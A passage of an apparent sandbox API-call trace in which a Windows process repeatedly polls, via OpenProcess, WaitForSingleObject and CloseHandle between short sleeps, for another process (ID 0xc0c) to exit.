PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.252] Sleep (dwMilliseconds=0x1) [0304.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3e7c [0304.262] WaitForSingleObject (hHandle=0x3e7c, dwMilliseconds=0xa) returned 0x102 [0304.284] CloseHandle (hObject=0x3e7c) returned 1 [0304.284] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.284] Sleep (dwMilliseconds=0x1) [0304.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3eb0 [0304.294] WaitForSingleObject (hHandle=0x3eb0, dwMilliseconds=0xa) returned 0x102 [0304.309] CloseHandle (hObject=0x3eb0) returned 1 [0304.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.309] Sleep (dwMilliseconds=0x1) [0304.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3eb0 [0304.325] WaitForSingleObject (hHandle=0x3eb0, dwMilliseconds=0xa) returned 0x102 [0304.341] CloseHandle (hObject=0x3eb0) returned 1 [0304.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.341] Sleep (dwMilliseconds=0x1) [0304.361] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3eb4 [0304.361] WaitForSingleObject (hHandle=0x3eb4, dwMilliseconds=0xa) returned 0x102 [0304.372] CloseHandle (hObject=0x3eb4) returned 1 [0304.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.372] Sleep (dwMilliseconds=0x1) [0304.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3eb4 [0304.387] WaitForSingleObject (hHandle=0x3eb4, dwMilliseconds=0xa) returned 0x102 [0304.404] CloseHandle (hObject=0x3eb4) returned 1 [0304.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.404] Sleep (dwMilliseconds=0x1) [0304.422] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ec4 [0304.422] WaitForSingleObject (hHandle=0x3ec4, dwMilliseconds=0xa) returned 0x102 [0304.436] CloseHandle (hObject=0x3ec4) returned 1 [0304.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.436] Sleep (dwMilliseconds=0x1) [0304.453] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f10 [0304.453] WaitForSingleObject (hHandle=0x3f10, dwMilliseconds=0xa) returned 0x102 [0304.465] CloseHandle (hObject=0x3f10) returned 1 [0304.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.466] Sleep (dwMilliseconds=0x1) [0304.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f18 [0304.481] WaitForSingleObject (hHandle=0x3f18, dwMilliseconds=0xa) returned 0x102 [0304.498] CloseHandle (hObject=0x3f18) returned 1 [0304.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.498] Sleep (dwMilliseconds=0x1) [0304.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f48 [0304.514] WaitForSingleObject (hHandle=0x3f48, dwMilliseconds=0xa) returned 0x102 [0304.528] CloseHandle (hObject=0x3f48) returned 1 [0304.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.528] Sleep (dwMilliseconds=0x1) [0304.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f48 [0304.544] WaitForSingleObject (hHandle=0x3f48, dwMilliseconds=0xa) returned 0x102 [0304.559] CloseHandle (hObject=0x3f48) returned 1 [0304.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.559] Sleep (dwMilliseconds=0x1) [0304.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f48 [0304.575] WaitForSingleObject (hHandle=0x3f48, dwMilliseconds=0xa) returned 0x102 [0304.586] CloseHandle (hObject=0x3f48) returned 1 [0304.586] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.586] Sleep (dwMilliseconds=0x1) [0304.587] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f48 [0304.587] WaitForSingleObject (hHandle=0x3f48, dwMilliseconds=0xa) returned 0x102 [0304.600] CloseHandle (hObject=0x3f48) returned 1 [0304.600] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.600] Sleep (dwMilliseconds=0x1) [0304.603] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f48 [0304.603] WaitForSingleObject (hHandle=0x3f48, dwMilliseconds=0xa) returned 0x102 [0304.614] CloseHandle (hObject=0x3f48) returned 1 [0304.614] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.614] Sleep (dwMilliseconds=0x1) [0304.615] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f48 [0304.615] WaitForSingleObject (hHandle=0x3f48, dwMilliseconds=0xa) returned 0x102 [0304.632] CloseHandle (hObject=0x3f48) returned 1 [0304.632] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.632] Sleep (dwMilliseconds=0x1) [0304.650] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f78 [0304.650] WaitForSingleObject (hHandle=0x3f78, dwMilliseconds=0xa) returned 0x102 [0304.664] CloseHandle (hObject=0x3f78) returned 1 [0304.664] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.664] Sleep (dwMilliseconds=0x1) [0304.679] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f78 [0304.679] WaitForSingleObject (hHandle=0x3f78, dwMilliseconds=0xa) returned 0x102 [0304.695] CloseHandle (hObject=0x3f78) returned 1 [0304.695] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.695] Sleep (dwMilliseconds=0x1) [0304.711] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f78 [0304.711] WaitForSingleObject (hHandle=0x3f78, dwMilliseconds=0xa) returned 0x102 [0304.726] CloseHandle (hObject=0x3f78) returned 1 [0304.726] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.726] Sleep (dwMilliseconds=0x1) [0304.744] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.744] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.757] CloseHandle (hObject=0x3f8c) returned 1 [0304.757] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.758] Sleep (dwMilliseconds=0x1) [0304.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.773] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.788] CloseHandle (hObject=0x3f8c) returned 1 [0304.789] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.802] Sleep (dwMilliseconds=0x1) [0304.804] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.804] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.821] CloseHandle (hObject=0x3f8c) returned 1 [0304.821] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.821] Sleep (dwMilliseconds=0x1) [0304.843] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.843] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.851] CloseHandle (hObject=0x3f8c) returned 1 [0304.851] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.851] Sleep (dwMilliseconds=0x1) [0304.867] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.867] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.882] CloseHandle (hObject=0x3f8c) returned 1 [0304.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.882] Sleep (dwMilliseconds=0x1) [0304.898] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.898] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.914] CloseHandle (hObject=0x3f8c) returned 1 [0304.914] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.914] Sleep (dwMilliseconds=0x1) [0304.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.929] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.945] CloseHandle (hObject=0x3f8c) returned 1 [0304.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.945] Sleep (dwMilliseconds=0x1) [0304.961] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.961] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0304.977] CloseHandle (hObject=0x3f8c) returned 1 [0304.977] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0304.977] Sleep (dwMilliseconds=0x1) [0304.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0304.992] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.007] CloseHandle (hObject=0x3f8c) returned 1 [0305.007] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.007] Sleep (dwMilliseconds=0x1) [0305.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.023] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.045] CloseHandle (hObject=0x3f8c) returned 1 [0305.045] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.045] Sleep (dwMilliseconds=0x1) [0305.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.054] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.070] CloseHandle (hObject=0x3f8c) returned 1 [0305.070] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.070] Sleep (dwMilliseconds=0x1) [0305.085] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.086] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.101] CloseHandle (hObject=0x3f8c) returned 1 [0305.101] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.101] Sleep (dwMilliseconds=0x1) [0305.117] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.117] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.132] CloseHandle (hObject=0x3f8c) returned 1 [0305.132] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.132] Sleep (dwMilliseconds=0x1) [0305.148] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.148] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.164] CloseHandle (hObject=0x3f8c) returned 1 [0305.164] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.164] Sleep (dwMilliseconds=0x1) [0305.179] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.179] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.195] CloseHandle (hObject=0x3f8c) returned 1 [0305.195] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.195] Sleep (dwMilliseconds=0x1) [0305.210] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.211] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.226] CloseHandle (hObject=0x3f8c) returned 1 [0305.226] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.226] Sleep (dwMilliseconds=0x1) [0305.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.242] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.258] CloseHandle (hObject=0x3f8c) returned 1 [0305.258] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.258] Sleep (dwMilliseconds=0x1) [0305.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.273] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.288] CloseHandle (hObject=0x3f8c) returned 1 [0305.289] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.289] Sleep (dwMilliseconds=0x1) [0305.304] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.304] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.320] CloseHandle (hObject=0x3f8c) returned 1 [0305.320] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.320] Sleep (dwMilliseconds=0x1) [0305.336] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.336] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.351] CloseHandle (hObject=0x3f8c) returned 1 [0305.351] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.351] Sleep (dwMilliseconds=0x1) [0305.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.367] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.384] CloseHandle (hObject=0x3f8c) returned 1 [0305.384] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.384] Sleep (dwMilliseconds=0x1) [0305.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.398] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.417] CloseHandle (hObject=0x3f8c) returned 1 [0305.417] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.417] Sleep (dwMilliseconds=0x1) [0305.429] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.429] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.445] CloseHandle (hObject=0x3f8c) returned 1 [0305.445] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.445] Sleep (dwMilliseconds=0x1) [0305.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.461] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.613] CloseHandle (hObject=0x3f8c) returned 1 [0305.613] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.654] Sleep (dwMilliseconds=0x1) [0305.709] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.709] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.732] CloseHandle (hObject=0x3f8c) returned 1 [0305.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.733] Sleep (dwMilliseconds=0x1) [0305.819] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.819] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.843] CloseHandle (hObject=0x3f8c) returned 1 [0305.843] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.843] Sleep (dwMilliseconds=0x1) [0305.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.872] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0305.911] CloseHandle (hObject=0x3f8c) returned 1 [0305.911] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0305.911] Sleep (dwMilliseconds=0x1) [0305.977] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0305.977] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.027] CloseHandle (hObject=0x3f8c) returned 1 [0306.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.028] Sleep (dwMilliseconds=0x1) [0306.057] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.057] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.114] CloseHandle (hObject=0x3f8c) returned 1 [0306.114] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.114] Sleep (dwMilliseconds=0x1) [0306.150] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.150] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.463] CloseHandle (hObject=0x3f8c) returned 1 [0306.463] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.463] Sleep (dwMilliseconds=0x1) [0306.487] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.487] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.516] CloseHandle (hObject=0x3f8c) returned 1 [0306.516] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.516] Sleep (dwMilliseconds=0x1) [0306.524] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.524] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.549] CloseHandle (hObject=0x3f8c) returned 1 [0306.550] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.550] Sleep (dwMilliseconds=0x1) [0306.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.577] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.581] CloseHandle (hObject=0x3f8c) returned 1 [0306.581] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.581] Sleep (dwMilliseconds=0x1) [0306.596] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.596] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.625] CloseHandle (hObject=0x3f8c) returned 1 [0306.625] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.625] Sleep (dwMilliseconds=0x1) [0306.628] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.628] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.643] CloseHandle (hObject=0x3f8c) returned 1 [0306.643] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.643] Sleep (dwMilliseconds=0x1) [0306.659] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.659] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.674] CloseHandle (hObject=0x3f8c) returned 1 [0306.674] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.674] Sleep (dwMilliseconds=0x1) [0306.690] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.690] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.705] CloseHandle (hObject=0x3f8c) returned 1 [0306.705] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.705] Sleep (dwMilliseconds=0x1) [0306.737] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.738] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.752] CloseHandle (hObject=0x3f8c) returned 1 [0306.752] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.752] Sleep (dwMilliseconds=0x1) [0306.768] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.768] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.783] CloseHandle (hObject=0x3f8c) returned 1 [0306.783] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.783] Sleep (dwMilliseconds=0x1) [0306.799] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.799] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.815] CloseHandle (hObject=0x3f8c) returned 1 [0306.815] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.815] Sleep (dwMilliseconds=0x1) [0306.830] OpenProcess 